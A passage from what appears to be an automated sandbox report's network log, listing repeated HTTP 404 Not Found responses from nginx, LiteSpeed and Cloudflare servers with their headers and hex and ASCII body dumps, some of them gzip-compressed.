MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 09:22:02 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 09:22:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 09:22:07 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.3Date: Thu, 12 Dec 2024 09:22:14 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 56 4a 82 14 69 d1 f0 f6 16 b8 78 9c 9d 99 6f 96 ee e2 6b c4 ef 65 02 67 7e c9 a1 ac 4e 79 16 81 b7 47 cc 12 9e 22 c6 3c de 9c a3 1f 20 26 85 c7 08 55 f6 d5 31 aa 64 2d 9c b0 ad ed 24 0b 83 10 0a 6d 21 d5 53 2f 28 6e 47 42 71 0d d1 87 16 f3 d2 3b b0 bf 8c 53 84 0e 8c 2b 09 a3 7c 4f d2 58 29 a0 ba e5 80 53 33 37 08 df da 40 ef 90 cf 05 09 ba 07 ab 5a 03 46 8e 1f 39 fa 14 07 d7 c6 15 ec 56 96 87 c8 0f f1 1a 79 64 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b3M0},MI)VJixokeg~NyG"< &U1d-$m!S/(nGBq;S+\|OX)S37@ZF9Vyd0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.3Date: Thu, 12 Dec 2024 09:22:16 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 56 4a 82 14 69 d1 f0 f6 16 b8 78 9c 9d 99 6f 96 ee e2 6b c4 ef 65 02 67 7e c9 a1 ac 4e 79 16 81 b7 47 cc 12 9e 22 c6 3c de 9c a3 1f 20 26 85 c7 08 55 f6 d5 31 aa 64 2d 9c b0 ad ed 24 0b 83 10 0a 6d 21 d5 53 2f 28 6e 47 42 71 0d d1 87 16 f3 d2 3b b0 bf 8c 53 84 0e 8c 2b 09 a3 7c 4f d2 58 29 a0 ba e5 80 53 33 37 08 df da 40 ef 90 cf 05 09 ba 07 ab 5a 03 46 8e 1f 39 fa 14 07 d7 c6 15 ec 56 96 87 c8 0f f1 1a 79 64 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b3M0},MI)VJixokeg~NyG"< &U1d-$m!S/(nGBq;S+\|OX)S37@ZF9Vyd0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.3Date: Thu, 12 Dec 2024 09:22:19 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 56 4a 82 14 69 d1 f0 f6 16 b8 78 9c 9d 99 6f 96 ee e2 6b c4 ef 65 02 67 7e c9 a1 ac 4e 79 16 81 b7 47 cc 12 9e 22 c6 3c de 9c a3 1f 20 26 85 c7 08 55 f6 d5 31 aa 64 2d 9c b0 ad ed 24 0b 83 10 0a 6d 21 d5 53 2f 28 6e 47 42 71 0d d1 87 16 f3 d2 3b b0 bf 8c 53 84 0e 8c 2b 09 a3 7c 4f d2 58 29 a0 ba e5 80 53 33 37 08 df da 40 ef 90 cf 05 09 ba 07 ab 5a 03 46 8e 1f 39 fa 14 07 d7 c6 15 ec 56 96 87 c8 0f f1 1a 79 64 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b3M0},MI)VJixokeg~NyG"< &U1d-$m!S/(nGBq;S+\|OX)S37@ZF9Vyd0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.3Date: Thu, 12 Dec 2024 09:22:22 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 203Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 67 79 67 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /ugyg/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Thu, 12 Dec 2024 09:22:29 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Thu, 12 Dec 2024 09:22:31 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Thu, 12 Dec 2024 09:22:34 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Thu, 12 Dec 2024 09:22:36 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Dec 2024 09:23:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Dec 2024 09:23:15 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Dec 2024 09:23:18 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Dec 2024 09:23:21 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:23:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SiFVU4h0fkkU8Pefzot4px3xPyk0Mp7u6Q2EojwrvNTgIo3223LnSwzYfZI3f1EnvaipqjCnUVci%2FP7WTODlFrLX3FnXqePhaIaP6IIljAaBt49elFE2mjYIL64W%2FWAA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f0ca843aeda4269-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2322&min_rtt=2322&rtt_var=1161&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=2757&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
